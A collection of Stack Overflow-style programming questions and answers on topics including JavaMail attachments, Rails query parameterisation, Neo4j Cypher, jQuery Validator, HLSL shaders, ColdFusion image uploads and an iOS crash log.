24036058	0	How to embed a link in email message for file attached in email using JavaMail API? <p>I want to embed a link in email for file already attached in email message using JavaMail API.</p> <p>For example, I am sending an email with some attachments. Now I want to embed link for all files which are available in email message.</p> <p>Could you please help me on this?</p> <p>I am using below code to attach a file in email message:</p> <pre><code>MimeBodyPart messageBodyPart = new MimeBodyPart(); DataSource source = new FileDataSource(attachFile); messageBodyPart.setDataHandler(new DataHandler(source)); messageBodyPart.setFileName(attachFileName); </code></pre>
14799164	0	 <p>Something like this perhaps?</p> <pre><code>use strict; use warnings; use autodie; my @data; for my $file (qw/ file1.txt file2.txt /) { open my $fh, '&lt;', $file; local $/; my $data = &lt;$fh&gt;; my $i = 0; push @{$data[$i++]}, $_ for $data =~ /[0-9.]+/g; } my $divisor = pop @data; for (@data) { my $val = $_-&gt;[0] / $divisor-&gt;[0] - $_-&gt;[1] / $divisor-&gt;[1]; printf "%.10f\n", $val * $val; } </code></pre> <p><strong>output</strong></p> <pre><code>0.0000000000 0.0000004258 0.4258414140 0.0000004929 1.3263326558 0.0227301083 0.0000000248 0.0504327886 0.0000000591 0.2468596095 0.4159147013 0.0000004497 0.4545017058 0.0000005315 1.2770423982 0.0947597910 0.0000001021 0.0140095243 0.0000000159 0.4442444469 </code></pre>
31579316	0	Rewriting sql query <p>I have where clause in my rails app that looks like this:</p> <pre><code>Report.where("lower(coalesce(#{organization_tables_with_name.join(',')})) LIKE lower(?)","%#{organization_name}%") </code></pre> <p>it works as expected but this code is vulnerable to sql injection. I rewrite this to something like that:</p> <pre><code>Report.where("lower(coalesce(?)) LIKE lower(?)", organization_tables_with_name,"%#{organization_name}%") </code></pre> <p>but this not works. The problem is that after sending to coalesce paremeter it makes quotes around it:</p> <pre><code>WHERE(lower(coalesce('k12_seas.name,k12_leas.name,k12_schools.name,k12_sections.name')) </code></pre> <p>but it should be:</p> <pre><code>WHERE (lower(coalesce(k12_seas.name,k12_leas.name,k12_schools.name,k12_sections.name)) </code></pre> <p>how can I solve this problem?</p>
21642178	0	 <p>Abstract classes are used to provide common functionality to child classes and force child to have own implementation of abstract members. it cannot be initialized, so individually it is not an object, but takes part in behaviour of child class</p> <pre><code> public abstract void Import(Oasis OasisSource); </code></pre> <p>If you want all children of this abstract class to implement there own <code>Import</code> functionality, otherwise implement the functionality in the base abstract class, mark it as virtual so the children can override if necessary.</p>
29224315	0	 <p>You can use the <code>mapvalues</code> function from the <code>plyr</code> package. Try this code snippet, which assumes that you have a factor column in a data frame called <code>df$column</code>:</p> <pre><code>library(plyr) vals_to_replace &lt;- c("diet", "diet contr", "IDDM") mapvalues(df$column, from = vals_to_replace, to = rep("No", length(vals_to_replace))) </code></pre> <p>You can add as many factor names to <code>vals_to_replace</code> as you like.</p>
23059760	0	Cannot iterate over ExecutionResult <p>I have written a test, copying the official cypher query example from <a href="http://docs.neo4j.org/chunked/stable/tutorials-cypher-java.html" rel="nofollow">here</a> and adding a needed cast. Then it fails with: <code>java.lang.ClassCastException: scala.collection.Iterator$$anon$11 cannot be cast to java.util.Iterator ...</code>. This is the code:</p> <pre class="lang-java prettyprint-override"><code>@Test public void testCreateWithCypher() { ExecutionEngine engine = new ExecutionEngine(db, StringLogger.SYSTEM); try (Transaction transaction = db.beginTx()) { String cypher = "CREATE (x:Person {name: 'John'})" + "RETURN x"; ExecutionResult result = engine.execute(cypher); Iterator&lt;Node&gt; n_column = (Iterator&lt;Node&gt;) result.columnAs("x"); for (Node node : IteratorUtil.asIterable(n_column)) { String nodeResult = node + ": " + node.getProperty("name"); } transaction.success(); } } </code></pre> <p>Without the cast, it will not compile, since <code>columnAs</code> returns <code>Iterator&lt;Object&gt;</code>. What is this <code>scala.collection.Iterator$$anon$11</code> doing the by the way? I thought it <a href="http://api.neo4j.org/2.1.0-M01/org/neo4j/graphdb/ResourceIterator.html" rel="nofollow">extended</a> <code>java.lang.Iterator</code>? </p> <p>I just want an <code>Iterator&lt;Node&gt;</code> so that I can get stuff from the <code>ExecutionResult</code>. How can do that without the cast? My project uses these dependencies for <code>${neo4.version}</code> = 2.0.1:</p> <pre class="lang-xml prettyprint-override"><code> &lt;dependency&gt; &lt;groupId&gt;org.neo4j&lt;/groupId&gt; &lt;artifactId&gt;neo4j&lt;/artifactId&gt; &lt;version&gt;${neo4j.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.neo4j&lt;/groupId&gt; &lt;artifactId&gt;neo4j-cypher&lt;/artifactId&gt; &lt;version&gt;${neo4j.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.neo4j&lt;/groupId&gt; &lt;artifactId&gt;neo4j-kernel&lt;/artifactId&gt; &lt;version&gt;${neo4j.version}&lt;/version&gt; &lt;type&gt;test-jar&lt;/type&gt; &lt;/dependency&gt; </code></pre>
38679082	0	Breadth-first search with set instead of queue <p>I'm using BFS to find connected components. I've decided to implement it using a set to track visited nodes. The problem with that approach is that one vertex may be added to queue twice. So I just changed queue to set. I don't care about visit order, all nodes are visited once and the algorithm works fine. Of course, this is not classical BFS anymore: the order is broken. </p> <p>Pseudocode:</p> <pre><code>Set visited; Set to_visit; visited.insert(start) to_visit.insert(start) while (to_visit is not empty){ current = to_visit.first to_visit.delete(current) for each neighbour of current { isNew = visited.insert(neighbour) if (isNew) { to_visit.insert(neighbour) } } } </code></pre> <p>I'm pretty sure I'm not the first one who "invented" it. I wonder: how does this I-dont-care-first search is called? </p>
5178310	0	 <pre><code>String a[]=null; </code></pre> <p><code>null</code> assigned before processing, so <code>NullPointerException</code>!</p> <p>try</p> <pre><code>String[] a=new String[100]; </code></pre> <p>or something;</p>
20195839	0	 <p>There is none, you can starting in-app preferences though.. But linking to the Apple preferences app has been deleted.</p>
23284022	0	mongoose/mongodb querying for records without a related record <p>I have two mongoose models. Let's call one model foo and the second model bar. Bar records have a related foo record and an email address. I want my api to be passed an email address and return a list of foo records that do not have a bar record created with that email address. How would I go about doing this with mongoose?</p> <p>I know I could write this query with SQL but ive been trying to learn a no sql db, hence mongo.</p> <p>Here is an example. I have 2 foo records and 2 bar records:</p> <p>foos:</p> <pre><code>{name:"first foo"} {name:"second foo"} </code></pre> <p>and my bar records:</p> <pre><code>{ email:"requestEmail@example.com, foo_id:first_foo._id } { email:"someOther@example.com, foo_id:second_foo._id } </code></pre> <p>The request to my api would come in with email: requestEmail@example.com. In this case, I would want to return the second foo (and any other foo records) because first foo has a bar record with the email in the request. </p>
10751185	0	smarty : assign var and scope root <p>I have a template in smarty like this :</p> <ul> <li>Template folder <ul> <li>home.tpl</li> <li>article.tpl</li> <li>category.tpl</li> <li>var.tpl</li> </ul></li> </ul> <p>In each template file (except var.tpl), i include the file var.tpl. home.tpl have a structure in 1 column article.tpl have a structure in 2 columns</p> <p>My template files are like this (home example) :</p> <pre><code>{include file="$tpl_dir./var.tpl"} &lt;div class="span{$center_column}" id="center_column"&gt; &lt;/div&gt; </code></pre> <p>In order to change quickly the apparence of my website, i wrote the following lines in var.tpl :</p> <pre><code>{assign var=center_column_g value=['home'=&gt;'12','article'=&gt;'10'] scope="root"} {assign var=center_column_default value='10' scope="root"} {if $center_column_g[$page_name]} {assign var=center_column value=$center_column_g[$page_name] scope="root"} {else} {assign var=center_column value=$center_column_default scope="root"} {/if} </code></pre> <p>ps : $page_name is a global variable with the name of each template page.</p> <p>So with var.tpl, if i can easy change the class of my div #center_column</p> <p>I have a doubt with this code :</p> <pre><code>{if $center_column_g[$page_name]} {assign var=center_column value=$center_column_g[$page_name] scope="root"} {else} {assign var=center_column value=$center_column_default scope="root"} {/if} </code></pre> <p>Is it right to assign var center_column in the root scope ?</p>
17160882	0	 <p>This error happens because you are persisting a new object attached to an object that already exist. Invoke the <code>crear</code> method in the <code>ocurrence</code> object before adding <code>personas</code> to the list. </p>
39035762	0	 <pre><code>img{ display: block; margin-right: auto; margin-left: auto; } </code></pre>
15939159	0	Mixed Content Warning for Forum Design <p>I'm currently designing a social network on my local host, that also has a forum aspect involved. There are three things that a user can do on the site that is causing me some concern. </p> <ol> <li>Log in to their profile via the header from any page on the site.</li> <li>Post things on their wall that include links to external sites.</li> <li>Post in the forum a variety of different things including links to external sites, and images on external sites.</li> </ol> <p>Because of #1 I made the entire site https. So no matter where a user was on the site, they could log in and their entire session would be encrypted. This functionality is working great but I am afraid of <code>Mixed Content Warnings</code>.</p> <p>Right now I'm thinking twice about making the full site secure b/c if I keep it this way will mixed content warnings appear for every page that has a link to an external site, or an image from an external site? Unfortunately I have never seen this warning b/c none of the browsers I use seem to show it to me. And I searched for some kind of list of browsers that show this warning but there is no finite list that I can find. So this is awkward b/c I'm worrying and trying to avoid a thing that I've never seen. But I have thought of one solution.</p> <p>My current idea on how to fix the image problem is to take images from users when they post a forum and write them to my disk, and provide the new image link. I am pretty sure this is exactly how google images stays https while showing millions of images from http sites. I think they write them all to their own server. Example: </p> <p><a href="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTj_52I-TSX79mQFJRLTDNGahtGbsh_BpYDp0H3hbzJDWK2qxPZ" rel="nofollow">https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTj_52I-TSX79mQFJRLTDNGahtGbsh_BpYDp0H3hbzJDWK2qxPZ</a></p> <p>So I think I have found a solution to the image problem but what about external links? Because when a user posts a link on their wall to <a href="http://stackoverflow.com/">http://stackoverflow.com/</a> for example I read the post and surround it with an anchor tag so technically to a browser wouldn't that be none secure content? Wouldn't that throw a warning? </p> <p>How could I fix this and not annoy my users? And do you have a better solution to my image problem? Thank you all for reading through my confusion.</p>
11567147	0	Why did RVM break my MANPATH on mac osx? <p>Ever since installing RVM, my manpages are broken. Current versions of man don't use the MANPATH variable, so why is it being set to .rvm/man and why isn't there a full catalog of manpages inside that folder?</p>
25300724	0	show item number total only in the minicart <p>I want to show item number total only in the minicart that is in the header.(OpenCart v1.5.6.4)</p> <p><strong>I get this currently</strong> (according to OpenCart functionality)</p> <pre><code>==For O item== Shopping Cart 0 item(s) - $0.00 ==For 1 item== Shopping Cart 1 item(s) - $100 </code></pre> <p><br> <strong>But what I'm hoping to get is</strong></p> <pre><code>==For O item== Shopping Cart 0 ==For 1 item== Shopping Cart 1 </code></pre> <p>Any help would be greatly appreciated. Thanks</p>
29226973	0	How to disable the jquery validator 1.13.1 to create new html for error message and use the existing one <p>I am working with jQuery Validator 1.13.1 and I have recently upgraded from JQuery Validator 1.9.0. Now the issue is I was using predefined html for displaying my error messages instead of making jquery validator to create a new html for error message for example:</p> <p>Using jQuery Validator 1.9.0</p> <pre><code>&lt;span for='first_name' class='error' generated='true'&gt;&lt;/span&gt; jQuery(".form-cls").validate({ errorElement: "span", errorClass: "error", , </code></pre> <p>and it was working fine.</p> <p>and now in jQuery Validator 1.13.0</p> <pre><code>&lt;span id="first_name-error" class="error"&gt;&lt;/span&gt; jQuery(".form-cls").validate({ errorElement: "span", errorClass: "error", errorPlacement: function(error, element) { if(element[0]) { jQuery('#'+element[0].id+'-error').replaceWith(error); } </code></pre> <p>Now the jquery validator is using the existing error to display error as well as it creates a new one. Kindly suggest me how can I disable jquery validator to create a new for error message and use the existing one. I dont want to use errorPlacement thing :( },</p>
9178071	0	 <p>You still need to use <code>IList&lt;T&gt;</code> instead of <code>List&lt;T&gt;</code>, because NH needs its own collection implementation.</p> <p>Consider:</p> <ul> <li>You won't get very far in a complex model without lazy loading, except your database fits into RAM or you don't mind to cut you OO model into pieces which destroys both maintainability and performance.</li> <li>You can have entities without virtual members when you use interfaces to create proxies from. However, you should only use these interfaces to reference to entities, because they could always be proxies.</li> </ul>
20237959	0	 <p>Firstly, the cast to <code>int</code> is counter productive. You have <code>float</code> values and don't want to loose precision by casting to <code>int</code>, which will always be one of <code>{0, 1 ... 4 * radius^2}</code>.</p> <p>Furthermore, the comparison to <code>== 0</code> needs some luck to be hit. If you want to fill the circle, use <code>&lt;= 0</code> or if you want to draw a line try something like <code>abs(...) &lt;= epsilon</code> where epsilon is some small number that describes the line's thickness.</p> <p>Be aware that you just set the r-component of the returned color of 1. This does not need to result in a red circle (e.g. if you already have a white texture).</p> <p>I would do something like the following:</p> <pre><code>float4 PixelShaderFunction(float2 coords: TEXCOORD0) : COLOR0 { float dx = coords.x - 0.5f; float dy = coords.y - 0.5f; if(dx * dx + dy * dy &lt;= 0.25f) return float4(1.0f, 0.0f, 0.0f, 1.0f); else return float4(0.0f, 0.0f, 0.0f, 0.0f); } </code></pre> <p>Notice that you don't need an explicit radius or center because the texture coordinates are normalized.</p>
38383183	0	 <p>No params, just the 'Authorization' header.</p> <p>Use the "OAuth Signature Generator" on the link you included to generate a test request and confirm yourself.</p> <p>You just need to properly sign the request. This provides the context including the user, since it implicitly includes details about your request, the client secret, the user token etc.</p> <pre><code>$ oksocial https://api.twitter.com/1.1/account/verify_credentials.json { "id": 999999, "id_str": "999999", "name": "Bobby Bonson", "screen_name": "xxxx", "location": "CA", "description": "...", "url": null, "entities": { "description": { "urls": [] } }, "protected": false, "followers_count": 699, "friends_count": 631, "listed_count": 34, </code></pre>
20494976	0	Image path for displaying on a user profile <p>I have managed to find the code I needed but just have some questions that need answering so that I understand as I am a little confused. I understand that the below code allows me to upload an image but what I cant get my head around is how i would display the image for a profile picture, by this I mean what path would I use to locate the image for the individual user. I just need this explaining to me so that I understand it</p> <p>Many Thanks the code I am using for uploading the image is below</p> <pre><code>&lt;!--- set the full path to the images folder ---&gt; &lt;cfset mediapath = expandpath('./images')&gt; &lt;!--- set the desired image height ----&gt; &lt;cfset thumbsize = 75&gt; &lt;!--- set the desired image width ---&gt; &lt;cfset imagesize = 320&gt; &lt;cfif structKeyExists(form,"fileUpload") and len(form.fileUpload)&gt; &lt;cffile action="upload" filefield="FileUpload" destination="#MediaPath#" nameconflict="makeunique"&gt; &lt;!--- read the image ----&gt; &lt;cfimage name="uploadedImage" source="#MediaPath#/#file.serverFile#" &gt; &lt;!--- figure out which way to scale the image ---&gt; &lt;cfif uploadedImage.width gt uploadedImage.height&gt; &lt;cfset thmb_percentage = (thumbsize / uploadedImage.width)&gt; &lt;cfset percentage = (imagesize / uploadedImage.width)&gt; &lt;cfelse&gt; &lt;cfset thmb_percentage = (thumbsize / uploadedImage.height)&gt; &lt;cfset percentage = (imagesize / uploadedImage.height)&gt; &lt;/cfif&gt; &lt;!--- calculate the new thumbnail and image height/width ---&gt; &lt;cfset thumbWidth = round(uploadedImage.width * thmb_percentage)&gt; &lt;cfset thumbHeight = round(uploadedImage.height * thmb_percentage)&gt; &lt;cfset newWidth = round(uploadedImage.width * percentage)&gt; &lt;cfset newHeight = round(uploadedImage.height * percentage)&gt; &lt;!--- see if we need to resize the image, maybe it is already smaller than our desired size ---&gt; &lt;cfif uploadedImage.width gt imagesize&gt; &lt;cfimage action="resize" height="#newHeight#" width="#newWidth#" source="#uploadedImage#" destination="#MediaPath#/#file.serverFile#" overwrite="true"/&gt; &lt;/cfif&gt; &lt;!--- create a thumbnail for the image ---&gt; &lt;cfimage action="resize" height="#thumbHeight#" width="#thumbWidth#" source="#uploadedImage#" destination="#MediaPath#/thumbs/#file.serverFile#" overwrite="true"/&gt; &lt;cfoutput&gt; &lt;img src="images/thumbs/#file.serverFile#" height="#thumbHeight#" width="#thumbWidth#" align="left" hspace="10"&gt;&lt;br&gt; Original Image: #uploadedImage.width#x#uploadedImage.height#&lt;br&gt; Resized Image: #newWidth#x#newHeight#&lt;br&gt; Thumbnail: #thumbWidth#x#thumbHeight#&lt;br&gt;&lt;br&gt; &lt;a href="images/#file.serverFile#"&gt;See Image&lt;/a&gt;&lt;br&gt; &lt;/cfoutput&gt; &lt;/cfif&gt; &lt;form action="" method="post" enctype="multipart/form-data"&gt; &lt;label for="fileUpload"&gt;Choose Image: &lt;/label&gt; &lt;input type="file" name="fileUpload"&gt; &lt;input type="submit" value="Upload Image"&gt; &lt;/form&gt; </code></pre>
35360950	0	iReport : expression with BigDecimal not correct <p>I have a textfield with this expression : </p> <pre><code>($V{caBrut3}.add($V{remiseRistourne3}).add($V{frais3}).subtract($V{montantAchat1})).divide($V{caBrut3}.add($V{remiseRistourne3}).add($V{frais3})) </code></pre> <p>iReport tells me that this expression is not valid (closing bracket before divide seems to be the problem). I don't see why. </p> <p>I want to divide the first part (before divide) with the second part. </p> <p>How can I do that with BigDecimal values?</p>
12268882	0	 <p>This is saying, essentially, "For each line in the file, split the line on the tab character into an array of strings, then create an array of those arrays (such that each element in the returned array is an array)"</p> <p>The <code>Select</code> function takes an Enumerable of something and applies a function to each item, producing 1 output value for each input value. In other programming languages this is called a Map or a Projection.</p> <p>The => indicates a lambda expression which is compiled into a delegate function. It takes an argument called "line", whose type is inferred by the usage (because <code>ReadLines</code> returns an IEnumerable of Strings, <code>line</code> is of type String).</p> <p>The lambda's body has an implied return type of the value resulting from the last call (the call to <code>Split</code>). Thus, the line says "run this lambda on each line".</p> <p>Finally, the call to <code>.ToArray</code> at the end (outside of the lambda) converts the <code>IEnumerable&lt;String[]&gt;</code> returned by <code>Select</code> into an array of arrays (<code>String[][]</code>).</p>
18733273	0	 <p>I have found link which can help you to talking api</p> <p><a href="https://github.com/xively/xively-rb/wiki/Talking-to-the-REST-API" rel="nofollow">https://github.com/xively/xively-rb/wiki/Talking-to-the-REST-API</a></p> <p>you can use</p> <pre><code>client = Xively::Client.new(YOUR_API_KEY) response = client.post('/v2/feeds.json', :body =&gt; feed.to_json) puts response.headers['location'] # Will give us the location of the Xively feed including the ID =&gt; "http://api.xively.com/v2/feeds/SOMEID" </code></pre> <p>Create a Datapoint</p> <p>The datapoint creation endpoint takes an array of datapoints</p> <pre><code> datapoint = Xively::Datapoint.new(:at =&gt; Time.now, :value =&gt; "25") client.post('/v2/feeds/504/datastreams/temperature/datapoints', :body =&gt; {:datapoints =&gt; [datapoint]}.to_json) </code></pre>
7235693	0	 <p>I had the same problem recently. Try adding <code>display: none;</code> to the container div. That will prevent it from showing that split-second flash. You can change <code>none;</code> to <code>block;</code> through jQuery after loading completes with: </p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function(){ $('#whateverSelector').show(); }); &lt;/script&gt; </code></pre> <p>You can either put this at the end of the document before the <code>&lt;/body&gt;</code> or (better yet) before the <code>&lt;/head&gt;</code>.</p> <p>Perhaps the <code>none;</code> is being over-written somewhere in the CSS. Try adding the style inline to see if you can sort-of "force" it to work. This this in the HTML: <code>&lt;div class="orbit-wrapper" style="display:none;"&gt;...</code> I hope that helps.</p>
3856100	0	iPhone app crash on iOS 4.0 <p>All crash reports submitted for our application on iOS 4.0 are giving the below information:</p> <pre><code>Application Specific Information: &lt;my app name&gt;[3532] was suspended with locked system files: /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb </code></pre> <p>Any idea what this indicates and what could be the possible cause of crash. Our application is not interacting with AddressBook.sqlitedb at all.</p> <p>The complete crash log:</p> <pre><code>Exception Type: 00000020 Exception Codes: 0xdead10cc Highlighted Thread: 0 Application Specific Information: app name[3532] was suspended with locked system files: /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb Thread 0: 0 libobjc.A.dylib 0x3302e4ac object_dispose 1 CoreFoundation 0x31372cfe -[NSObject(NSObject) dealloc] 2 QuartzCore 0x33e45264 -[CALayer dealloc] 3 QuartzCore 0x33eb5e60 -[CALayer _dealloc] 4 QuartzCore 0x33e3c752 CALayerRelease 5 QuartzCore 0x33e3cd20 CA::release_root_if_unused(_CALayer*, _CALayer*, void*) 6 QuartzCore 0x33e3ccbc x_hash_table_remove_if 7 QuartzCore 0x33e3cb26 CA::Transaction::commit() 8 QuartzCore 0x33e42406 CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) 9 CoreFoundation 0x313caa42 __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ 10 CoreFoundation 0x313cc46e __CFRunLoopDoObservers 11 CoreFoundation 0x313cd774 __CFRunLoopRun 12 CoreFoundation 0x313768e4 CFRunLoopRunSpecific 13 CoreFoundation 0x313767ec CFRunLoopRunInMode 14 GraphicsServices 0x329f36e8 GSEventRunModal 15 GraphicsServices 0x329f3794 GSEventRun 16 UIKit 0x316692a0 -[UIApplication _run] 17 UIKit 0x31667e10 UIApplicationMain 18 app name 0x00002a64 main + 36 19 app name 0x00002a34 start + 32 Thread 1: 0 libSystem.B.dylib 0x35228c4c kevent + 24 1 libSystem.B.dylib 0x352d1e44 _dispatch_mgr_invoke 2 libSystem.B.dylib 0x352d1894 _dispatch_queue_invoke 3 libSystem.B.dylib 0x352d1a34 _dispatch_worker_thread2 4 libSystem.B.dylib 0x35275d82 _pthread_wqthread 5 libSystem.B.dylib 0x3526efcc start_wqthread + 0 Thread 2: 0 libSystem.B.dylib 0x351fc6b4 semaphore_wait_signal_trap + 8 1 libSystem.B.dylib 0x35229d92 semaphore_wait_signal 2 libSystem.B.dylib 0x351fe4a4 pthread_mutex_lock 3 WebCore 0x30138194 _WebTryThreadLock(bool) 4 WebCore 0x301380da WebRunLoopLock(__CFRunLoopObserver*, unsigned long, void*) 5 CoreFoundation 0x313caa42 __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ 6 CoreFoundation 0x313cc46e __CFRunLoopDoObservers 7 CoreFoundation 0x313cd780 __CFRunLoopRun 8 CoreFoundation 0x313768e4 CFRunLoopRunSpecific 9 CoreFoundation 0x313767ec CFRunLoopRunInMode 10 WebCore 0x30138056 RunWebThread(void*) 11 libSystem.B.dylib 0x35275986 _pthread_start 12 libSystem.B.dylib 0x3526b0e4 thread_start + 0 Thread 3: 0 libSystem.B.dylib 0x351fc658 mach_msg_trap + 20 1 libSystem.B.dylib 0x351fe724 mach_msg 2 CoreFoundation 0x313cb2c8 __CFRunLoopServiceMachPort 3 CoreFoundation 0x313cd582 __CFRunLoopRun 4 CoreFoundation 0x313768e4 CFRunLoopRunSpecific 5 CoreFoundation 0x313767ec CFRunLoopRunInMode 6 Foundation 0x3329571e +[NSURLConnection(NSURLConnectionReallyInternal) _resourceLoadLoop:] 7 Foundation 0x33265c96 -[NSThread main] 8 Foundation 0x332ea9da __NSThread__main__ 9 libSystem.B.dylib 0x35275986 _pthread_start 10 libSystem.B.dylib 0x3526b0e4 thread_start + 0 Thread 4: 0 libSystem.B.dylib 0x35220a20 select$DARWIN_EXTSN + 20 1 CoreFoundation 0x313d0e70 __CFSocketManager 2 libSystem.B.dylib 0x35275986 _pthread_start 3 libSystem.B.dylib 0x3526b0e4 thread_start + 0 Thread 5: 0 libSystem.B.dylib 0x3527685c __workq_kernreturn + 8 1 libSystem.B.dylib 0x35275e98 _pthread_wqthread 2 libSystem.B.dylib 0x3526efcc start_wqthread + 0 Thread 6: 0 libSystem.B.dylib 0x3527685c __workq_kernreturn + 8 1 libSystem.B.dylib 0x35275e98 _pthread_wqthread 2 libSystem.B.dylib 0x3526efcc start_wqthread + 0 Thread 7: 0 libSystem.B.dylib 0x35205974 access + 8 1 libsqlite3.dylib 0x3282f5a6 unixAccess 2 libsqlite3.dylib 0x32826e5a sqlite3OsAccess 3 libsqlite3.dylib 0x32835bf0 sqlite3BtreeBeginTrans 4 libsqlite3.dylib 0x3284f038 sqlite3Step 5 libsqlite3.dylib 0x3282639c sqlite3_step 6 AppSupport 0x31475634 CPSqliteStatementCopyStringResult 7 AppSupport 0x3147626e CPSqliteConnectionCopyValueForProperty 8 AppSupport 0x314773a2 CPSqliteDatabaseCopyValueForProperty 9 AppSupport 0x314773ba CPSqliteDatabaseCopyUniqueIdentifier 10 AddressBook 0x34dd7c3a ABCCreateAddressBookWithDatabaseDirectoryAndForceInProcessMigrationAndResetSortKeys 11 AddressBook 0x34dd7eba ABCCreateAddressBookWithDatabaseDirectoryAndForceInProcessMigration 12 AddressBook 0x34dd7ec8 ABCCreateAddressBookWithDatabaseDirectory 13 AddressBook 0x34de3e78 ABAddressBookCreate 14 TextInput 0x34973fb8 KB::matchable_strings_from_address_book() 15 TextInput 0x34978686 KB::DynamicDictionaryImpl::background_load_address_book(KB::StaticDictionary const&amp;) 16 TextInput 0x34979d36 KB::BackgroundLoad(void*) 17 libSystem.B.dylib 0x35275986 _pthread_start 18 libSystem.B.dylib 0x3526b0e4 thread_start + 0 Unknown thread crashed with unknown flavor: 5, state_count: 1 Binary Images: 0x1000 - 0x41fff +CVCrDVR armv6 &lt;4ca92ed88199f56c60997ff21ed9963e&gt; /var/mobile/Applications/6EF0091E-FE47-43B7-8515-08688A530869/CVCrDVR.app/CVCrDVR 0xeb000 - 0xecfff dns.so armv7 &lt;240b8d3f07b4fcb234de598f8e67de1a&gt; /usr/lib/info/dns.so 0xf0000 - 0xf4fff AccessibilitySettingsLoader armv7 &lt;9e7d0552cedc18ba0b26cd182c47df8d&gt; /System/Library/AccessibilityBundles/AccessibilitySettingsLoader.bundle/AccessibilitySettingsLoader 0x2fe00000 - 0x2fe26fff dyld armv7 &lt;193570c1391880df7da870149117e49e&gt; /usr/lib/dyld 0x30135000 - 0x30686fff WebCore armv7 &lt;859bdd351085819fb4da07d12b41543f&gt; /System/Library/PrivateFrameworks/WebCore.framework/WebCore 0x30ac5000 - 0x30adafff libresolv.9.dylib armv7 &lt;1ed920d5a995cd94e71c41631d7c551e&gt; /usr/lib/libresolv.9.dylib 0x30adc000 - 0x30bc4fff libGLProgrammability.dylib armv7 &lt;9bcf5fe3e7abc344425e581ff2896579&gt; /System/Library/Frameworks/OpenGLES.framework/libGLProgrammability.dylib 0x30ca5000 - 0x30d4bfff WebKit armv7 &lt;a1d04572b3214188f60f2d1961ac1fe8&gt; /System/Library/PrivateFrameworks/WebKit.framework/WebKit 0x30eb4000 - 0x30f76fff CFNetwork armv7 &lt;9fdd61632fd1b48d65daba561528946f&gt; /System/Library/Frameworks/CFNetwork.framework/CFNetwork 0x31297000 - 0x3129cfff MobileKeyBag armv7 &lt;d33678689445fcf1898314262fd1ebd3&gt; /System/Library/PrivateFrameworks/MobileKeyBag.framework/MobileKeyBag 0x3129f000 - 0x312e7fff libBLAS.dylib armv7 &lt;3b4a2849c10d100a178a3c2d9f6af523&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libBLAS.dylib 0x312ea000 - 0x31358fff ProofReader armv7 &lt;479bd40ac65cb7e6c3000d79d649571f&gt; /System/Library/PrivateFrameworks/ProofReader.framework/ProofReader 0x31359000 - 0x3142bfff CoreFoundation armv7 &lt;17c9c36ae8824496b507446869cd4d9d&gt; /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation 0x31472000 - 0x314a0fff AppSupport armv7 &lt;2a64271b39599b2180d0dfd3141027ee&gt; /System/Library/PrivateFrameworks/AppSupport.framework/AppSupport 0x31663000 - 0x3280dfff UIKit armv7 &lt;6c767127e477e6ac7b7f083857ca8064&gt; /System/Library/Frameworks/UIKit.framework/UIKit 0x32824000 - 0x32868fff libsqlite3.dylib armv7 &lt;36b9bc7d02e29c8d321dd0d7bf7e115e&gt; /usr/lib/libsqlite3.dylib 0x3286b000 - 0x3286dfff IOMobileFramebuffer armv7 &lt;1fdf9182a63464743901526caf39240a&gt; /System/Library/PrivateFrameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer 0x329b6000 - 0x329ccfff RawCamera armv7 &lt;78168f60a21e67ce307c5ce30054dba6&gt; /System/Library/CoreServices/RawCamera.bundle/RawCamera 0x329dc000 - 0x329e2fff liblockdown.dylib armv7 &lt;df3c6cea5e6848109a6e033e1d883320&gt; /usr/lib/liblockdown.dylib 0x329e3000 - 0x329ebfff libgcc_s.1.dylib armv7 &lt;b8fc1381e87a55740d9ac66195039a63&gt; /usr/lib/libgcc_s.1.dylib 0x329f0000 - 0x329fbfff GraphicsServices armv7 &lt;7194df9e594ae0fd9d9c600ccf456a08&gt; /System/Library/PrivateFrameworks/GraphicsServices.framework/GraphicsServices 0x329fc000 - 0x32a46fff libstdc++.6.dylib armv7 &lt;baab09769f92decea73680bc15aa8618&gt; /usr/lib/libstdc++.6.dylib 0x32ad3000 - 0x32ad5fff libAccessibility.dylib armv7 &lt;06dd6032c40b1feb094d63eeb2002d6d&gt; /usr/lib/libAccessibility.dylib 0x32b17000 - 0x32b59fff CoreTelephony armv7 &lt;bc8796c8e011fea9923170d3c948a694&gt; /System/Library/Frameworks/CoreTelephony.framework/CoreTelephony 0x32b98000 - 0x32b9bfff IOSurface armv7 &lt;e67242f81fd1c0fa5e84b3fae5d310ae&gt; /System/Library/PrivateFrameworks/IOSurface.framework/IOSurface 0x32bb6000 - 0x32bb6fff vecLib armv7 &lt;85f89752df7814c1b243c26f59388523&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/vecLib 0x32bd1000 - 0x32bdbfff ExternalAccessory armv7 &lt;56a0856978d36be40c42834de8ab966d&gt; /System/Library/Frameworks/ExternalAccessory.framework/ExternalAccessory 0x32de8000 - 0x32f06fff CoreGraphics armv7 &lt;4022bbf12f11dd1f6b75662c764e7f7c&gt; /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics 0x32f20000 - 0x32f2dfff DataDetectorsUI armv7 &lt;8f6e03c382591e1f30f06e97b4b31570&gt; /System/Library/PrivateFrameworks/DataDetectorsUI.framework/DataDetectorsUI 0x3302b000 - 0x330cbfff libobjc.A.dylib armv7 &lt;89553a61e05078fd178ac0ea2081ae40&gt; /usr/lib/libobjc.A.dylib 0x3325a000 - 0x33379fff Foundation armv7 &lt;c985a61696030b4d1bdc8fe010f4e43b&gt; /System/Library/Frameworks/Foundation.framework/Foundation 0x3337c000 - 0x3338efff VoiceServices armv7 &lt;f5b5b032e4c0b79c42e0fde5a59a6eb3&gt; 